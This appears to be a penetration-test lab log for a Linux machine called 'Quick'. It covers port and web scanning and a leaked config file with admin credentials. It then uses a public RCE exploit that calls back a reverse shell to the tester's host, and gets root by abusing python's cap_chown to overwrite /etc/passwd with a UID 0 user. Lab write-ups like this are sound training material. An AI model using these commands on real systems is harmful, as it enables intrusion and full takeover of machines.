🧪 Pentest Log: {{date:2025-08-26}}

🔍 Target Information

• Machine Name: Quick
• IP Address: 10.11.1.20
• Operating System: Linux

ip=10.11.1.20

📡 Enumeration

🔌 Port Scanning

Command Used

ports=$(nmap -p- --min-rate=1000 -T4 $ip | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

nmap -p$ports -sC -sV $ip -oN tcp_scan_result.txt

nmap -sU --top-ports 100 $ip -oN udp_scan_result.txt

Port 22

Port 80

Web Content Enumeration

gobuster dir -u http://$ip -w /usr/share/seclists/Discovery/Web-Content/common.txt

dirsearch -u http://$ip -r -o dirsearch.txt

wpscan --url http://$ip

Found txt config file under databse folder

http://10.11.1.20/database/config.php.txt

$config['login_email'] = "admin@localhost.local";
$config['login_pass'] = "admin123";

💣 Exploitation

📌 Vulnerability Summary

• Service / Port: 80
• Vulnerability Type: RCE

🚀 Exploit Execution

🔧 Exploit Method

• Manual
• Public Exploit
• Custom Script

Tool / Script Used:

https://www.exploit-db.com/exploits/49494

python3 49494.py http://$ip/admin.php/ admin@localhost.local admin123 172.16.1.2 80

python3 /home/kali/Documents/oscp/Shell\ Handler/penelope/penelope.py -p 80

🧬 Privilege Escalation

👤 Current Access

• User: www-data
• Groups: 33(www-data)
• Shell Type: reverse shell

🔍 Enumeration

Binary Capabilities:

getcap -r / 2>/dev/null

found

/usr/bin/python3.8 = cap_chown+ep

🔓 Privilege Escalation Exploit

📌 Exploit Summary

• Technique Used: Linux Capability Abuse
• Target Binary/Service: Python3
• Reference / Source: https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/linux-capabilities.html#cap_chown

🔧 Exploit Steps

• Setup

python3 -c 'import os;os.chown("/etc/passwd",33,33)'

echo 'tony:$1$test$28Tmd0tsvqI1Eq.TDxcaq/:0:0:tony,,,:/root:/bin/bash' > /etc/passwd;

• Smash to root

su tony